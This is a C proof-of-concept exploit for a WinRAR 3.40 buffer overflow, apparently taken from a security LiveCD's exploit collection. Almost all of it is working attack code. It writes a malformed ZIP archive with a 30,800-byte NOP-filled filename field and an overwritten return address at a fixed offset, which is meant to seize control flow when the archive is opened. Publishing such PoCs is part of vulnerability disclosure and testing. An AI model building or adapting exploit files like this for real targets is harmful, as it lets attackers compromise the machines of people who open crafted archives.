home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / packer / winrar / winrar341.txt < prev   
Text File  |  2005-02-12  |  4KB  |  175 lines

  1. /*
  2. WinRAR 3.40 Buffer Overflow POC
  3. Thanks to Miguel Tarasco Acuna. He has made a wonderful code for
  4. Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
  5. which I edited and made this code by.
  6.  
  7.  
  8. Coded by Vafa Khoshaein - vkhoshain@hotmail.com
  9. Vulnerability discovery date : December 10, 2004
  10.  
  11.  
  12. Run this code and creat vulnerable_zip.zip then open the file in WinRAR 3.40
  13. there exists a file, Try to delete the file - SECU
  14.  
  15.  
  16. */
  17. #include <stdio.h>
  18. #include <windows.h>
  19.  
  20.  
  21. #pragma pack(1)
  22.  
  23.  
  24.  
  25. #define DATOS "vkhoshain@hotmail.com"
  26.  
  27.  
  28. typedef struct {
  29. DWORD Signature;
  30. WORD VersionNeeded;
  31. WORD GeneralPurposeFlag;
  32. WORD CompressionMethod;
  33. WORD ModFileTime;
  34. WORD ModFileDate;
  35. DWORD Crc32;
  36. DWORD CompressedSize;
  37. DWORD UncompressedSize;
  38. WORD FilenameLength;
  39. WORD ExtraFieldLength;
  40. }TOPHEADER;
  41.  
  42.  
  43.  
  44. typedef struct {
  45. DWORD Signature;
  46. WORD MadeVersion;
  47. WORD VersionNeeded;
  48. WORD GeneralPurposeFlag;
  49. WORD CompressionMethod;
  50. WORD ModFileTime;
  51. WORD ModFileDate;
  52. DWORD Crc32;
  53. DWORD CompressedSize;
  54. DWORD UncompressedSize;
  55. WORD FilenameLength;
  56. WORD ExtraFieldLength;
  57. WORD FileCommentLength;
  58. WORD DiskNumberStart;
  59. WORD InternalFileAttributes;
  60. DWORD ExternalFileAttributes;
  61. DWORD RelativeOffsetOfLocalHeader;
  62. }MIDDLEHEADER;
  63.  
  64.  
  65. typedef struct {
  66. DWORD Signature;
  67. WORD NumOfThisDisk;
  68. WORD NumDisckStartCentralDirectory;
  69. WORD NumEntriesCentralDirOnThisDisk;
  70. WORD TotalNumEntriesCentralDir;
  71. DWORD SizeCentralDirectory;
  72. DWORD OffsetCentraDirRespectStartDiskNum;
  73. WORD ZipCommentLength;
  74. }BOTTOMHEADER;
  75.  
  76.  
  77. int main(int argc,char *argv[]) {
  78.  
  79.  
  80. FILE *ZipFile;
  81. TOPHEADER *Cabecera1;
  82. MIDDLEHEADER *Cabecera2;
  83. BOTTOMHEADER *Cabecera3;
  84.  
  85.  
  86. DWORD c;
  87. UINT i;
  88. char *filename;
  89. char *url;
  90. printf("\nWinRAR 3.40 Buffer Overflow POC\n");
  91. printf("\nCoded by Vafa Khoshaein (vkhoshain@hotmail.com)\n");
  92.  
  93.  
  94.  
  95. if (!(ZipFile=fopen("vulnerable_zip.zip","w+b"))) {
  96. printf("\nError in creating vulnerable_zip.zip\n");
  97. exit(1);
  98. }
  99.  
  100.  
  101. c=30800;
  102. filename=(char*)malloc(sizeof(char)*c);
  103. memset(filename,0,sizeof(filename));
  104.  
  105.  
  106.  
  107. for( i=0;i<30800;i++) filename[i]=0x90;
  108.  
  109.  
  110. // Return Address
  111. memcpy(&filename[479],"AAAA",4); /////////// Ret Addr EIP 0x41414141
  112.  
  113.  
  114. Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
  115. Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
  116. Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
  117. memset(Cabecera1,0,sizeof(TOPHEADER));
  118. memset(Cabecera2,0,sizeof(MIDDLEHEADER));
  119. memset(Cabecera3,0,sizeof(BOTTOMHEADER));
  120.  
  121.  
  122. Cabecera1->Signature=0x00000050; // DWORD
  123. Cabecera1->VersionNeeded=0x000A; // WORD
  124. Cabecera1->GeneralPurposeFlag=0x0002; // WORD
  125. Cabecera1->CompressionMethod=0x0000; // WORD
  126. Cabecera1->ModFileTime=0x1362; // WORD
  127. Cabecera1->ModFileDate=0x3154; // WORD
  128. Cabecera1->Crc32=0x85B36639; // DWORD
  129. Cabecera1->CompressedSize=0x00000015; // DWORD
  130. Cabecera1->UncompressedSize=0x00000015; // DWORD
  131. Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400
  132. Cabecera1->ExtraFieldLength=0x0000; // WORD
  133. Cabecera2->Signature=0x02014B50; // DWORD
  134. Cabecera2->MadeVersion=0x0014; // WORD
  135. Cabecera2->VersionNeeded=0x000A; // WORD
  136. Cabecera2->GeneralPurposeFlag=0x0002; // WORD
  137. Cabecera2->CompressionMethod=0x0000; // WORD
  138. Cabecera2->ModFileTime=0x1362; // WORD
  139. Cabecera2->ModFileDate=0x3154; // WORD
  140. Cabecera2->Crc32=0x85B36639; // DWORD
  141. Cabecera2->CompressedSize=0x00000015; // DWORD
  142. Cabecera2->UncompressedSize=0x00000015; // DWORD
  143. Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
  144. Cabecera2->ExtraFieldLength=0x0000; // WORD
  145. Cabecera2->FileCommentLength=0x0000; // WORD
  146. Cabecera2->DiskNumberStart=0x0000; // WORD
  147. Cabecera2->InternalFileAttributes=0x0001; // WORD
  148. Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
  149. Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
  150. Cabecera3->Signature=0x06054B50; // DWORD
  151. Cabecera3->NumOfThisDisk=0x0000; // WORD
  152. Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
  153. Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001;
  154. Cabecera3->TotalNumEntriesCentralDir=0x0001;
  155. Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c;
  156. Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c;
  157. Cabecera3->ZipCommentLength=0x0000;
  158.  
  159.  
  160. fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
  161.  
  162. fwrite(filename, c, 1,ZipFile);
  163. fwrite(DATOS,strlen(DATOS),1,ZipFile);
  164.  
  165.  
  166. fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
  167. fwrite(filename, c, 1,ZipFile);
  168. fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
  169.  
  170.  
  171. fclose(ZipFile);
  172. printf("\nvulnerable_zip.zip has been created\n\n");
  173. return 1;
  174. }
  175.